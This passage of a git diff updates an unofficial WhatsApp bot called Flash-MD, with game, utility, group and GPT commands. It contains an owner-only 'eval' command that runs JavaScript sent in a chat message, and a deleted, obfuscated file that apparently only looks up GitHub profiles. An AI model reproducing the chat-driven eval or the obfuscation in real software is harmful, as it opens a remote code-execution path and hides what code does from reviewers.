𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - -const {france} = require("../framework/france"); -const axios = require('axios'); -const traduire = require('../framework/traduction') - - - -france({ - nomCom: "chifumi", - categorie: "Games", - reaction: "📺" - }, - async (origineMessage, zk, commandeOptions) => { - const { repondre, ms, auteurMessage, auteurMsgRepondu, msgRepondu , arg , idBot } = commandeOptions; - - if (msgRepondu) { - zk.sendMessage(origineMessage, { - text: `@${auteurMessage.split('@')[0]} invites @${auteurMsgRepondu.split('@')[0]} to play the rock-paper-scissors game; - To accept the challenge, type yes`, - mentions: [auteurMessage, auteurMsgRepondu] - }); - - try { - const repinv = await zk.awaitForMessage({ - sender: auteurMsgRepondu, - chatJid: origineMessage, - timeout: 30000 // 30 secondes - }); - console.log(repinv) ; - - if (repinv.message.conversation.toLowerCase() === 'yes' || repinv.message.extendedTextMessage.text.toLowerCase() === 'yes' ) { - - let msg1 = `*player 1 :* @${auteurMsgRepondu.split('@')[0]} -*player 2 :* @${auteurMessage.split('@')[0]} - -*Rules:* The game will start soon; you have a maximum of 1 minute each to make a choice in our private chat;` - - zk.sendMessage(origineMessage,{text : msg1,mentions : [auteurMessage, auteurMsgRepondu]} ) ; - - let msg2 = `You have 3 choices; - - rock - paper - scissors - - Please send your choice` - let players = [auteurMessage,auteurMsgRepondu] ; -let choix = [] ; - - try { - - for (const player of players) { - - zk.sendMessage(origineMessage,{ text : `@${player.split("@")[0]} Please go to this chat to make a choice - https://wa.me/${idBot.split('@')[0]} ` , mentions : [player]}) - zk.sendMessage(player,{text : msg2}) ; - - const msgrecu = await zk.awaitForMessage({ - sender: player, - chatJid: player, - timeout: 30000 // 30 secondes - }); - console.log('voici le message de' + ' ' + player) - console.log(msgrecu) - - choix.push(msgrecu.message.extendedTextMessage.text.toLowerCase()) ; - - } - - console.log(choix) - const choixPossibles = ["rock", "paper", "scissors"]; - - const choixJoueur1 = choix[0] ; -const choixJoueur2 = choix[1] ; - - -if (!choixPossibles.includes(choixJoueur1) || !choixPossibles.includes(choixJoueur2)) { - // Gérez le cas où les choix ne sont pas valides - zk.sendMessage(origineMessage,{ text : `*joueur 1 :* @${auteurMsgRepondu.split('@')[0]} -*joueur 2 :* @${auteurMessage.split('@')[0]} - -*resultat :* l'un ou les deux choix ne sont pas valides.`, mentions : [auteurMessage, auteurMsgRepondu] }); - -} else if (choixJoueur1 === choixJoueur2) { - // C'est une égalité - zk.sendMessage(origineMessage,{ text : `*joueur 1 :* @${auteurMsgRepondu.split('@')[0]} a choisi(e) *${choixJoueur2}* -*joueur 2 :* @${auteurMessage.split('@')[0]} a choisi(e) *${choixJoueur1}* - -resultat : il y'a donc match nul` , mentions : [auteurMessage, auteurMsgRepondu] }); -} else if ( - (choixJoueur1 === "rock" && choixJoueur2 === "scissors") || - (choixJoueur1 === "paper" && choixJoueur2 === "rock") || - (choixJoueur1 === "scissors" && choixJoueur2 === "paper") -) { - // Joueur 1 gagne - zk.sendMessage(origineMessage,{ text : `*player 1 :* @${auteurMsgRepondu.split('@')[0]} choose *${choixJoueur2}* -*player 2 :* @${auteurMessage.split('@')[0]} choose *${choixJoueur1}* - -*result :* @${auteurMessage.split('@')[0]} win ` ,mentions : [auteurMessage, auteurMsgRepondu] }); -} else { - // Joueur 2 gagne - zk.sendMessage(origineMessage,{ text : `*player 1 :* @${auteurMsgRepondu.split('@')[0]} choose *${choixJoueur2}* -*player 2 :* @${auteurMessage.split('@')[0]} choose) *${choixJoueur1}* - -*result :* @${auteurMsgRepondu.split('@')[0]} win ` , mentions : [auteurMessage, auteurMsgRepondu] }); -} - - } catch (error) { - if (error.message === 'Timeout') { - // Le temps d'attente est écoulé - zk.sendMessage(origineMessage,{ text : `*player 1 :* @${auteurMsgRepondu.split('@')[0]} -*player 2 :* @${auteurMessage.split('@')[0]} - -*result :* Our players took too long to decide; -Therefore, the game is canceled -` , mentions : [auteurMessage, auteurMsgRepondu]}); - } else { - // Gérez d'autres erreurs ici si nécessaire - console.error(error); - } - } - - } else { - repondre('invitation refused') ; - } - - - } catch (error) { - if (error.message === 'Timeout') { - // Le temps d'attente est écoulé - zk.sendMessage(origineMessage,{ text : `@${auteurMsgRepondu.split('@')[0]} took too long to respond to the invitation from - @${auteurMessage.split('@')[0]} ; -Therefore, the game is canceled`, mentions : [auteurMessage, auteurMsgRepondu]}); - } else { - // Gérez d'autres erreurs ici si nécessaire - console.error(error); - } - } - } else { - repondre('Chifumi is an rock-paper-scissors games ; you need a friend too play , mention his/her message when sending chifumi to invite him/her') ; - } -}); - - -france( - { nomCom: "quizz", categorie: "Games", reaction: "👨🏿‍💻" }, - async (origineMessage, zk, commandeOptions) => { - const { repondre, auteurMessage } = commandeOptions; - - try { - let quizz = await axios.get("https://quizzapi.jomoreschi.fr/api/v1/quiz?limit=1&difficulty=facile") ; - - - let msg = ` Flash-Md-Quizz-Games - -*Category :* ${ await traduire(quizz.data.quizzes[0].category , {to : 'en'})} -*Question :* ${ await traduire(quizz.data.quizzes[0].question, {to : 'en'})}\n\n*Answers :*\n` - -let Answers =[] ; - for (const reponse of quizz.data.quizzes[0].badAnswers) { - - Answers.push(reponse) - - } ; - - Answers.push(quizz.data.quizzes[0].answer) ; - - async function shuffleArray(array) { - const shuffledArray = array.slice(); // Copie du tableau d'origine - - for (let i = shuffledArray.length - 1; i > 0; i--) { - const j = Math.floor(Math.random() * (i + 1)); - [shuffledArray[i], shuffledArray[j]] = [shuffledArray[j], shuffledArray[i]]; - } - - return shuffledArray; - } ; - - let choix = await shuffleArray(Answers) ; - - for (let i = 0; i < choix.length; i++) { - msg += `*${i + 1} :* ${choix[i]}\n`; -} - - - msg+= ` -Send the number off right answers` - - repondre(msg) ; - - let rep = await zk.awaitForMessage({ - sender: auteurMessage, - chatJid : origineMessage, - timeout: 15000 // 30 secondes - }); - let repse ; - try { - repse = rep.message.extendedTextMessage.text - } catch { - repse = rep.message.conversation - } ; - - if (choix[repse - 1 ] == quizz.data.quizzes[0].answer ) { - - repondre("Great , good answer ;") - } else { - - repondre("bad answer") - } - - } catch (error) { - console.log(error); - } - } -); diff --git a/commands/General.js b/commands/General.js index a6859387..216dd40a 100644 --- a/commands/General.js +++ b/commands/General.js @@ -1,119 +1,244 @@ - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - -const { france } = require("../framework/france"); -const {getAllSudoNumbers,isSudoTableNotEmpty} = require("../bdd/sudo") -const conf = require("../set"); - -france({ nomCom: "owner", categorie: "General", reaction: "💞" }, async (dest, zk, commandeOptions) => { - const { ms , mybotpic } = commandeOptions; - - const thsudo = await isSudoTableNotEmpty() - - if (thsudo) { - let msg = `*My Super-User*\n - *Owner Number*\n : -- 🌟 @${conf.NUMERO_OWNER} - ------- *other sudos* -----\n` - - let sudos = await getAllSudoNumbers() - - for ( const sudo of sudos) { - if (sudo) { // Vérification plus stricte pour éliminer les valeurs vides ou indéfinies - sudonumero = sudo.replace(/[^0-9]/g, ''); - msg += `- 💼 @${sudonumero}\n`; - } else {return} - - } const ownerjid = conf.NUMERO_OWNER.replace(/[^0-9]/g) + "@s.whatsapp.net"; - const mentionedJid = sudos.concat([ownerjid]) - console.log(sudos); - console.log(mentionedJid) - zk.sendMessage( - dest, - { - image : { url : mybotpic() }, - caption : msg, - mentions : mentionedJid - } - ) - } else { - const vcard = - 'BEGIN:VCARD\n' + // metadata of the contact card +const { franceking } = require('../main'); +const axios = require('axios'); +const fetch = require('node-fetch'); +const conf = require('../config'); +const translate = require('../france/Trt'); + +module.exports = [ + { + name: 'trt', + get flashOnly() { + return franceking(); +}, + aliases: ['translate'], + description: 'Translate a replied message to the specified language.', + category: 'General', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + + if (!quoted) { + return king.sendMessage(fromJid, { + text: 'Please reply to the message you want to translate.\nExample: trt fr' + }, { quoted: msg }); + } + + if (args.length !== 1) { + return king.sendMessage(fromJid, { + text: 'Please provide only the language code.\nExample: trt fr' + }, { quoted: msg }); + } + + const lang = args[0].toLowerCase(); + const textToTranslate = quoted?.conversation || quoted?.extendedTextMessage?.text || ''; + + if (!textToTranslate) { + return king.sendMessage(fromJid, { text: 'The replied message does not contain text.' }, { quoted: msg }); + } + + try { + const translated = await translate(textToTranslate, { to: lang }); + await king.sendMessage(fromJid, { text: translated }, { quoted: msg }); + } catch (error) { + await king.sendMessage(fromJid, { + text: 'Translation failed. Please check the language code.' + }, { quoted: msg }); + } + } + }, + { + name: 'owner', + get flashOnly() { + return franceking(); +}, + description: 'Sends contact card of the bot owner.', + category: 'General', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const vcard = + 'BEGIN:VCARD\n' + 'VERSION:3.0\n' + - 'FN:' + conf.OWNER_NAME + '\n' + // full name - 'ORG:undefined;\n' + // the organization of the contact - 'TEL;type=CELL;type=VOICE;waid=' + conf.NUMERO_OWNER + ':+' + conf.NUMERO_OWNER + '\n' + // WhatsApp ID + phone number + `FN:${conf.ON}\n` + + 'ORG:undefined;\n' + + `TEL;type=CELL;type=VOICE;waid=${conf.NUMBER}:${conf.NUMBER}\n` + 'END:VCARD'; - zk.sendMessage(dest, { - contacts: { - displayName: conf.OWNER_NAME, - contacts: [{ vcard }], - }, - },{quoted:ms}); - } -}); -france({ nomCom: "developer", categorie: "General", reaction: "🐐" }, async (dest, zk, commandeOptions) => { - const { ms, mybotpic } = commandeOptions; + await king.sendMessage(fromJid, { + contacts: { + displayName: conf.ON, + contacts: [{ vcard }] + } + }, { quoted: msg }); + } + }, + { + name: 'ss', + get flashOnly() { + return franceking(); +}, + description: 'Takes a screenshot of a website.', + category: 'General', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const url = args.join(' '); + if (!url) { + return king.sendMessage(fromJid, { text: 'Provide a link to screenshot.' }, { quoted: msg }); + } + + try { + const screenshotUrl = `https://api.diioffc.web.id/api/tools/sstab?url=${encodeURIComponent(url)}`; + const response = await axios.get(screenshotUrl, { responseType: 'arraybuffer' }); + + await king.sendMessage(fromJid, { + image: response.data, + caption: '*FLASH-MD WEB SCREENSHOT*' + }, { quoted: msg }); + } catch (error) { + console.error('ssCommand error:', error); + await king.sendMessage(fromJid, { text: 'Failed to take website screenshot.' }, { quoted: msg }); + } + } + }, + { + name: 'bible', + get flashOnly() { + return franceking(); +}, + description: 'Get a Bible verse from a specific book, chapter, and verse.', + category: 'General', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const verse = args.join(' '); + + if (!verse) { + return king.sendMessage(fromJid, { text: 'Usage: bible john 3:16' }, { quoted: msg }); + } + + try { + const response = await fetch(`https://bible-api.com/${verse}`); + if (!response.ok) { + return king.sendMessage(fromJid, { text: 'Invalid reference. Try: bible john 3:16' }, { quoted: msg }); + } - const devs = [ - { nom: "France King", numero: "254757835036" }, - { nom: "᚛FranceKing᚜", numero: "254750948696" }, - // Ajoute d'autres développeurs ici avec leur nom et numéro - ]; + const data = await response.json(); + const bibleText = `📖 *THE HOLY BIBLE*\n\n📜 ${data.reference}\n🔢 Verses: ${data.verses.length}\n📝 ${data.text}\n🌍 Language: ${data.translation_name}\n\n*Powered by FLASH-MD*`; - let message = "Hello 👋\n *Welcome to Flash-Md!*\n\n*✦━━◆CREATOR INFO◆━━✦*\n\n\n *◇NAME: _France King_*\n*◇AGE: 23*\n*◇LOCATION: _On Earth_*\n*◇BELIEVER: YES ✅*\n*◇FRIENDLY: YES ✅*\n*◇EGOISTIC: _YEEES ✅_*\n*◇FAV TEAM: _CHELSEA_*\n*◇INSTAGRAM: https://instagram.com/france.king1*\n*◇Twitter: https://twitter.com/france_king1*\n\n______________________________\n\n*💙KEEP USING FLASH-MD🤍*\n\n\n_The following are my contacts_:\n:"; - for (const dev of devs) { - message += `----------------\n• ${dev.nom} : https://wa.me/${dev.numero}\n`; + await king.sendMessage(fromJid, { text: bibleText }, { quoted: msg }); + } catch (error) { + await king.sendMessage(fromJid, { text: 'Error fetching verse.' }, { quoted: msg }); + } + } + }, + { + name: 'poll', + get flashOnly() { + return franceking(); +}, + description: 'Create a poll.', + category: 'General', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const input = args.join(' '); + const [question, optionsString] = input.split('/'); + if (!question || !optionsString) { + return king.sendMessage(fromJid, { text: 'Usage: poll What is 2+2?/2,3,4' }, { quoted: msg }); + } + + const options = optionsString.split(',').map(opt => opt.trim()); + await king.sendMessage(fromJid, { + poll: { + name: question.trim(), + values: options + } + }, { quoted: msg }); } - - var lien = mybotpic() - if (lien.match(/\.(mp4|gif)$/i)) { - try { - zk.sendMessage(dest, { video: { url: lien }, caption: message }, { quoted: ms }); + }, + { + name: 'fact', + get flashOnly() { + return franceking(); +}, + description: 'Get a random fact.', + category: 'User', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const response = await fetch('https://nekos.life/api/v2/fact'); + const data = await response.json(); + + await king.sendMessage(fromJid, { + text: `◆━━━━━━✦FACT✦━━━━━━◆\n◇ ${data.fact}\n◇ Powered by France King\n◇ KEEP USING FLASH-MD` + }, { quoted: msg }); } - catch (e) { - console.log("🥵🥵 Menu erreur " + e); - repondre("🥵🥵 Menu erreur " + e); + }, + { + name: 'quotes', + get flashOnly() { + return franceking(); +}, + description: 'Get a random quote.', + category: 'User', + execute: async (king, msg) => { + const fromJid = msg.key.remoteJid; + const response = await fetch('https://favqs.com/api/qotd'); + const data = await response.json(); + const quote = data.quote; + + const message = `◆━━━━━━✦QUOTE✦━━━━━━◆\n◇ "${quote.body}"\n◇ — ${quote.author}\n◇ Powered by France King\n◇ KEEP USING FLASH-MD`; + + await king.sendMessage(fromJid, { text: message }, { quoted: msg }); } -} -// Vérification pour .jpeg ou .png -else if (lien.match(/\.(jpeg|png|jpg)$/i)) { - try { - zk.sendMessage(dest, { image: { url: lien }, caption:message }, { quoted: ms }); + }, + { + name: 'define', + get flashOnly() { + return franceking(); +}, + description: 'Get a definition for a term.', + category: 'Search', + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + if (!args.length) { + return king.sendMessage(fromJid, { text: 'Provide a term to define.' }, { quoted: msg }); + } + + const query = args.join(' '); + try { + const { data } = await axios.get(`http://api.urbandictionary.com/v0/define?term=${query}`); + const def = data.list[0]; + const text = `📚 Word: ${query}\n📝 Definition: ${def.definition.replace(/[]/g, '')}\n💡 Example: ${def.example.replace(/[]/g, '')}`; + return king.sendMessage(fromJid, { text }, { quoted: msg }); + } catch { + return king.sendMessage(fromJid, { text: `No definition found for "${query}".` }, { quoted: msg }); + } } - catch (e) { - console.log("🥵🥵 Menu erreur " + e); - repondre("🥵🥵 Menu erreur " + e); + }, + { + name: 'eval', + get flashOnly() { + return franceking(); +}, + aliases: ['evaluate'], + description: 'Evaluate JavaScript code (owner only).', + category: 'General', + ownerOnly: true, + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + if (!args.length) { + return king.sendMessage(fromJid, { text: 'Provide code to evaluate. Example: >2+2' }, { quoted: msg }); + } + + const code = args.join(' '); + if (code.startsWith('>')) { + try { + let result = await eval(code.slice(1)); + if (typeof result !== 'string') { + result = require('util').inspect(result); + } + await king.sendMessage(fromJid, { text: result }, { quoted: msg }); + } catch (err) { + await king.sendMessage(fromJid, { text: `Error: ${err.message}` }, { quoted: msg }); + } + } } -} -else { - repondre(lien) - repondre("link error"); - -} -}); - -france({ nomCom: "support", categorie: "General" }, async (dest, zk, commandeOptions) => { - const { ms, repondre, auteurMessage, } = commandeOptions; - - repondre("look on pm sir ") - await zk.sendMessage(auteurMessage,{text : `https://wa.me/254757835036`},{quoted :ms}) - -}) - + } +]; diff --git a/commands/Git.js b/commands/Git.js deleted file mode 100644 index bb505d93..00000000 --- a/commands/Git.js +++ /dev/null @@ -1,28 +0,0 @@ - - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - - - - - -const _0x47fd9d=_0x2731;function _0x2731(_0x54bb73,_0x4a9794){const _0x94595e=_0x9459();return _0x2731=function(_0x2731fd,_0x51cd80){_0x2731fd=_0x2731fd-0x88;let _0x16472c=_0x94595e[_0x2731fd];return _0x16472c;},_0x2731(_0x54bb73,_0x4a9794);}(function(_0x4eef97,_0x4f4aaa){const _0x3133d8=_0x2731,_0x2315cd=_0x4eef97();while(!![]){try{const _0x114dd6=parseInt(_0x3133d8(0x8c))/0x1*(-parseInt(_0x3133d8(0x8d))/0x2)+-parseInt(_0x3133d8(0xb2))/0x3*(parseInt(_0x3133d8(0xa7))/0x4)+parseInt(_0x3133d8(0x93))/0x5+-parseInt(_0x3133d8(0x97))/0x6*(-parseInt(_0x3133d8(0xac))/0x7)+-parseInt(_0x3133d8(0x96))/0x8+parseInt(_0x3133d8(0x88))/0x9+parseInt(_0x3133d8(0xb5))/0xa;if(_0x114dd6===_0x4f4aaa)break;else _0x2315cd['push'](_0x2315cd['shift']());}catch(_0x3589bf){_0x2315cd['push'](_0x2315cd['shift']());}}}(_0x9459,0x869cc));const axios=require(_0x47fd9d(0x8f)),fs=require('fs'),{france}=require(_0x47fd9d(0x9f)+_0x47fd9d(0x9e)),{writeFile}=require('fs/promise'+'s');france({'nomCom':'github','reaction':'📃','categorie':_0x47fd9d(0x99)},async(_0x52e003,_0x14d9f6,_0x5f1e4d)=>{const _0x2433ef=_0x47fd9d,{repondre:_0x3b1d82,prefixe:_0x4fdb82,arg:_0x4f7595,ms:_0x506254}=_0x5f1e4d,_0x3c7f3f=_0x4f7595[_0x2433ef(0xb3)]('\x20');if(!_0x3c7f3f)return _0x3b1d82(_0x2433ef(0x8a)+_0x2433ef(0x92)+'ub\x20usernam'+_0x2433ef(0x98)+_0x4fdb82+('github\x20fra'+_0x2433ef(0x90)));const _0x5d3fd3=await fetch(_0x2433ef(0xb0)+_0x2433ef(0x95)+_0x2433ef(0xa4)+_0x3c7f3f),_0x546dd2=await _0x5d3fd3['json'](),_0x5892a1=_0x546dd2['id'],_0x9d02ae=_0x546dd2[_0x2433ef(0xa0)],_0x406595=_0x546dd2[_0x2433ef(0xae)],_0x3a4d0f=_0x546dd2[_0x2433ef(0xb1)],_0x34623f=_0x546dd2[_0x2433ef(0x8e)],_0x5b8e0e=_0x546dd2[_0x2433ef(0xa2)],_0x24d738=_0x546dd2['email'],_0x3a22e7=_0x546dd2[_0x2433ef(0x8b)],_0x170599=_0x546dd2[_0x2433ef(0xa8)],_0x1ada1e=_0x546dd2[_0x2433ef(0xaa)],_0x1f7a0c=_0x546dd2[_0x2433ef(0xad)],_0x86d2d1=_0x546dd2['following'];await _0x3b1d82('\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20'+_0x2433ef(0xaf)+_0x2433ef(0x9a)+_0x2433ef(0xb6)+_0x2433ef(0xa9)+_0x5892a1+'\x0a🔖\x20Name\x20:\x20'+_0x9d02ae+('\x0a🔖\x20Usernam'+_0x2433ef(0x91))+_0x406595+'\x0a✨\x20Bio\x20:\x20'+_0x3a4d0f+(_0x2433ef(0xa3)+_0x2433ef(0xa1))+_0x34623f+('\x0a📍\x20Locatio'+_0x2433ef(0x9c))+_0x5b8e0e+(_0x2433ef(0xa6)+'\x20')+_0x24d738+_0x2433ef(0x9b)+_0x3a22e7+(_0x2433ef(0x89)+_0x2433ef(0xa5))+_0x170599+(_0x2433ef(0x94)+_0x2433ef(0xab))+_0x1ada1e+(_0x2433ef(0xb4)+'rs\x20:\x20')+_0x1f7a0c+('\x0a🫶\x20Followi'+_0x2433ef(0x9d))+_0x86d2d1);});function _0x9459(){const _0x58d79d=['gists_url','Gists\x20:\x20','28742lARhMh','followers','login','°GITHUB\x20US','https://ap','bio','72VBCjLB','join','\x0a👪\x20Followe','11314890TqfiZK','\x20\x20\x20\x20\x20\x20\x0a🚩\x20I','5700663nCMSTU','\x0a🔓\x20Public\x20','Give\x20me\x20a\x20','blog','401aSYSyB','1138goMozx','company','axios','nceking1','e\x20:\x20','valid\x20gith','908945Dtstry','\x0a🔐\x20Public\x20','i.github.c','5523856gaTXXQ','726jpkjPH','e\x20like:\x20','Search','ER\x20INFO°\x0a\x20','\x0a📰\x20Blog\x20:\x20','n\x20:\x20','ng\x20:\x20','rk/france','../framewo','name','\x20:\x20','location','\x0a🏢\x20Company','om/users/','Repo\x20:\x20','\x0a📧\x20Email\x20:','162248nQcgPh','repos_url','d\x20:\x20'];_0x9459=function(){return _0x58d79d;};return _0x9459();} diff --git a/commands/Gpp.js b/commands/Gpp.js new file mode 100644 index 00000000..d350eac4 --- /dev/null +++ b/commands/Gpp.js @@ -0,0 +1,83 @@ +const { franceking } = require('../main'); +const { S_WHATSAPP_NET, downloadContentFromMessage } = require('@whiskeysockets/baileys'); +const fs = require("fs-extra"); +const path = require("path"); +const jimp = require("jimp"); + +const resizeImage = async (imagePath) => { + const image = await jimp.read(imagePath); + const resized = image.scaleToFit(720, 720); + return { + img: await resized.getBufferAsync(jimp.MIME_JPEG) + }; +}; + +async function getBuffer(message, type) { + const stream = await downloadContentFromMessage(message, type); + const chunks = []; + for await (const chunk of stream) chunks.push(chunk); + return Buffer.concat(chunks); +} + +module.exports = [ + { + name: "fullgpp", + description: "Set group profile picture without cropping or compression.", + category: "Group", + aliases: ["fullgp", "gpp"], + groupOnly: true, + adminOnly: true, + botAdminOnly: true, + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args) => { + const groupId = msg.key.remoteJid; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const quotedImage = quoted?.imageMessage; + + if (!quotedImage) { + return king.sendMessage(groupId, { + text: "📸 Please *reply to an image* to set it as the full group profile picture.", + }, { quoted: msg }); + } + + try { + const buffer = await getBuffer(quotedImage, "image"); + const mediaPath = path.join(__dirname, "..", "temp", `${Date.now()}-group.jpg`); + fs.ensureDirSync(path.dirname(mediaPath)); + fs.writeFileSync(mediaPath, buffer); + + const resized = await resizeImage(mediaPath); + + await king.query({ + tag: "iq", + attrs: { + to: S_WHATSAPP_NET, + target: groupId, + type: "set", + xmlns: "w:profile:picture" + }, + content: [{ + tag: "picture", + attrs: { type: "image" }, + content: resized.img + }] + }); + + await king.sendMessage(groupId, { + text: "✅ Group profile picture updated!", + }, { quoted: msg }); + + fs.unlinkSync(mediaPath); + + } catch (err) { + console.error("[FULLGPP ERROR]", err); + await king.sendMessage(groupId, { + text: "❌ Failed to set full group profile picture.", + }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Gpt.js b/commands/Gpt.js new file mode 100644 index 00000000..0f0f3ede --- /dev/null +++ b/commands/Gpt.js @@ -0,0 +1,52 @@ +const { franceking } = require('../main'); +const { xenc01 } = require('../france/Answers'); + +module.exports = { + name: 'gpt', + aliases: ['ask', 'chat'], + description: 'Chat with GPT model using text prompts.', + category: 'AI', + + get flashOnly() { + return franceking(); // Same gating logic + }, + + execute: async (king, msg, args, fromJid) => { + const prompt = args.join(' ').trim(); + + if (!prompt) { + return king.sendMessage(fromJid, { + text: '💬 *Please provide a prompt to send to GPT.*\n\nExample:\n`!gpt What is quantum computing?`' + }, { quoted: msg }); + } + + try { + const result = await xenc01(prompt); + const responseText = result.response || '⚠️ No response from GPT.'; + + await king.sendMessage(fromJid, { + text: `🤖 *GPT Response:*\n\n${responseText}` + }, { quoted: msg }); + + } catch (err) { + const status = err.response?.status; + const errorData = err.response?.data; + const message = err.message; + const stack = err.stack; + + const errorMsg = [ + '*❌ Error calling GPT:*', + status ? `*Status:* ${status}` : '', + message ? `*Message:* ${message}` : '', + errorData ? `*Data:* ${JSON.stringify(errorData, null, 2)}` : '', + stack ? `*Stack:* ${stack}` : '' + ].filter(Boolean).join('\n\n'); + + const trimmedError = errorMsg.length > 4000 ? errorMsg.slice(0, 4000) + '…' : errorMsg; + + await king.sendMessage(fromJid, { + text: trimmedError + }, { quoted: msg }); + } + } +}; diff --git a/commands/Group.js b/commands/Group.js index b4d837c1..9db7abff 100644 --- a/commands/Group.js +++ b/commands/Group.js @@ -1,20 +1,906 @@ +const { franceking } = require('../main'); +const conf = require('../config'); +const db = require('../db'); +const { getOnlineMembers } = require('../france/Presence'); +module.exports = [ + { + name: 'online', + aliases: ['listonline', 'active'], + description: 'List currently online group members.', + category: 'Group', + groupOnly: true, -/** + get flashOnly() { + return franceking(); + }, -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ + execute: async (king, msg, args, fromJid) => { + try { + const online = await getOnlineMembers(king, fromJid); - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ + if (!online.length) { + return king.sendMessage(fromJid, { + text: '👥 No online 